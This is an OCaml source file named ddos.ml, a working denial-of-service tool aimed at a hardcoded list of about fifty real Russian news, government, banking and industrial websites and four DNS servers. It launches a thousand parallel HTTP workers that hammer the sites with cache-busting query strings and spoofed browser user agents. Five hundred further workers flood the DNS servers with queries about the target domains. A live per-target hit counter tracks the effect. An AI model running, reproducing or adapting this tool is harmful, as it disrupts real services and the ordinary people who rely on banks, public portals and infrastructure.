ddos.ml

   1 open Printf
   2
   3 let dns_targets =
   4   [
   5     "194.54.14.186";
   6     "194.54.14.187";
   7     "194.67.7.1";
   8     "194.67.2.109";
   9   ]
  10
  11 let targets =
  12   [|
  13     "https://lenta.ru/";
  14     "https://ria.ru/";
  15     "https://ria.ru/lenta/";
  16     "https://www.rbc.ru/";
  17     "https://www.rt.com/";
  18     "http://kremlin.ru/";
  19     "http://en.kremlin.ru/";
  20     "https://smotrim.ru/";
  21     "https://tass.ru/";
  22     "https://tvzvezda.ru/";
  23     "https://vsoloviev.ru/";
  24     "https://www.1tv.ru/";
  25     "https://www.vesti.ru/";
  26     "https://online.sberbank.ru/";
  27     "https://sberbank.ru/";
  28     "https://zakupki.gov.ru/";
  29 (*     "https://www.gosuslugi.ru/"; *)
  30     "https://er.ru/";
  31     "https://www.rzd.ru/";
  32     "https://rzdlog.ru/";
  33     "https://vgtrk.ru/";
  34     "https://www.interfax.ru/";
  35     "https://www.mos.ru/uslugi/";
  36     "http://government.ru/";
  37     "https://mil.ru/";
  38     "https://www.nalog.gov.ru/";
  39     "https://customs.gov.ru/";
  40     "https://pfr.gov.ru/";
  41     "https://rkn.gov.ru/";
  42     "https://www.gazprombank.ru/";
  43     "https://www.vtb.ru/";
  44     "https://www.gazprom.ru/";
  45     "https://lukoil.ru";
  46     "https://magnit.ru/";
  47     "https://www.nornickel.com/";
  48     "https://www.surgutneftegas.ru/";
  49     "https://www.tatneft.ru/";
  50     "https://www.evraz.com/ru/";
  51     "https://nlmk.com/";
  52     "https://www.sibur.ru/";
  53     "https://www.severstal.com/";
  54     "https://www.metalloinvest.com/";
  55     "https://nangs.org/";
  56     "https://rmk-group.ru/ru/";
  57     "https://www.tmk-group.ru/";
  58 (*     "https://ya.ru/"; *)
  59     "https://www.polymetalinternational.com/ru/";
  60     "https://www.uralkali.com/ru/";
  61     "https://www.eurosib.ru/";
  62     "https://ugmk.ua/";
  63     "https://omk.ru/";
  64   |]
  65
  66 let target_domains = targets |> Array.map (fun url ->
  67   match Devkit.Stre.nsplitc url '/' with
  68   | _scheme::""::domain::_ -> domain
  69   | _ -> assert false)
  70
  71 let agents =
  72   [|
  73   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
  74   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36";
  75   "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0";
  76   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36";
  77   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
  78   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36";
  79   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
  80   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15";
  81   "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15";
  82   "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0";
  83   |]
  84
  85 let par = 1000
  86
  87 type t = {
  88   ok : int;
  89   errors : int;
  90 }
  91
  92 let random a = a.(Random.int (Array.length a))
  93
  94 let setup h =
  95   let open Curl in
  96   set_useragent h (random agents);
  97   set_nosignal h true;
  98   set_dnscachetimeout h 120;
  99   set_connecttimeoutms h 3000;
 100   set_timeoutms h 3000;
 101   set_followlocation h true;
 102   set_sslverifypeer h false;  (* ssl check must be turned off when using http_proxy, to permit https page caching*)
 103   set_sslverifyhost h SSLVERIFYHOST_NONE;
 104 (*   set_sslcipherlist h "DEFAULT@SECLEVEL=1"; *)
 105 (*   set_maxredirs h 1; *)
 106   set_ipresolve h IPRESOLVE_V4;
 107   set_encoding h CURL_ENCODING_ANY;
 108 (*   set_freshconnect h true; (* more connections *) *)
 109 (*   set_forbidreuse h true; *)
 110   set_protocols h [CURLPROTO_HTTP; CURLPROTO_HTTPS;];
 111   set_redirprotocols h [CURLPROTO_HTTP; CURLPROTO_HTTPS;];
 112 (*   set_maxrecvspeedlarge h (Int64.of_int (kBps*1024)); *)
 113   ()
 114
 115 let () = Printexc.register_printer (function Curl.CurlException (code,n,s) -> Some (sprintf "%d %s %s" n s (Curl.strerror code)) | _ -> None)
 116
 117 let main () =
 118   Random.self_init ();
 119   let stat = Hashtbl.create 10 in
 120   let dns_stat = Hashtbl.create 10 in
 121   targets |> Array.iter (fun s -> Hashtbl.add stat s { ok = 0; errors = 0 });
 122   dns_targets |> List.iter (fun s -> Hashtbl.add dns_stat s 0);
 123   let worker h =
 124     while%lwt true do
 125       let url = random targets in
 126       let open Curl in
 127       reset h;
 128       setup h;
 129       set_url h (if Random.int 3 = 0 then url else sprintf "%s?%d" url (Random.int 2000));
 130       set_writefunction h String.length;
 131       try%lwt
 132         let%lwt r = Curl_lwt.perform h in
 133         if r <> CURLE_OK then failwith @@ sprintf "curl error %s" (Curl.strerror r);
 134         Hashtbl.replace stat url
 135           (let t = Hashtbl.find stat url in
 136            { t with ok = t.ok + 1 }
 137           );
 138         Lwt.return_unit
 139       with _exn ->
 140 (*         print_endline @@ sprintf "FAILED: %s : %s" (Curl.get_effectiveurl h) (Printexc.to_string exn); *)
 141         Hashtbl.replace stat url
 142           (let t = Hashtbl.find stat url in
 143            { t with errors = t.errors + 1 }
 144           );
 145         Lwt.return_unit
 146     done
 147   in
 148   let qtypes = Dns.[| A ; NS ; CNAME ; SOA ; MX ; TXT ; AAAA ; A6 ; PTR |] in
 149   let dns_worker upstreams =
 150     while%lwt true do
 151       let (upstream,ns) = random upstreams in
 152       Hashtbl.replace dns_stat upstream (Hashtbl.find dns_stat upstream + 1);
 153       let domain = random target_domains in
 154       let qtype = random qtypes in
 155       let%lwt () = Dnsq.send_query_forget ns ~qtype domain in
 156       Lwt_unix.sleep @@ 0.5 +. Random.float 1.
 157     done
 158   in
 159   let show_stats () =
 160     while%lwt true do
 161       let%lwt () = Lwt_unix.sleep 1. in
 162       print_endline "dns";
 163       dns_targets |> List.iter (fun s -> print_endline @@ sprintf "%32s %d" s (Hashtbl.find dns_stat s));
 164       print_endline @@ sprintf "%64s %10s %10s %64s %10s %10s" "url" "ok" "errors" "url" "ok" "errors";
 165       targets |> Array.iteri (fun i url ->
 166         let { ok; errors } = Hashtbl.find stat url in
 167         printf "%64s %10d %10d" url ok errors;
 168         if i mod 2 = 1 then print_newline ()
 169       );
 170       print_newline ();
 171       Lwt.return_unit
 172     done
 173   in
 174   Lwt_engine.set (new Lwt_engine.libev ());
 175   List.iter (fun n -> Sys.set_signal n Sys.Signal_ignore) [Sys.sigtstp; Sys.sigttou; Sys.sigttin; Sys.sighup; Sys.sigpipe];
 176   let (_:int list) = Unix.sigprocmask SIG_BLOCK [Sys.sigtstp; Sys.sigttou; Sys.sigttin; Sys.sighup; Sys.sigpipe] in
 177   Lwt_main.run @@ begin
 178     let workers = List.init par (fun _ -> Curl.init ()) |> List.map worker in
 179     let%lwt dns_upstreams = dns_targets |> Lwt_list.map_s (fun s -> let%lwt ns = Dnsq.upstream ~timeout:2. s in Lwt.return (s,ns)) |> Lwt.map Array.of_list in
 180     let dns_workers = List.init (par/2) (fun _ -> dns_worker dns_upstreams) in
 181     Lwt.join (show_stats () :: workers @ dns_workers)
 182   end;
 183   print_endline "exit"
 184
 185 let () =
 186   try
 187     main ()
 188   with exn ->
 189     print_endline @@ sprintf "fatal exn %s" (Printexc.to_string exn)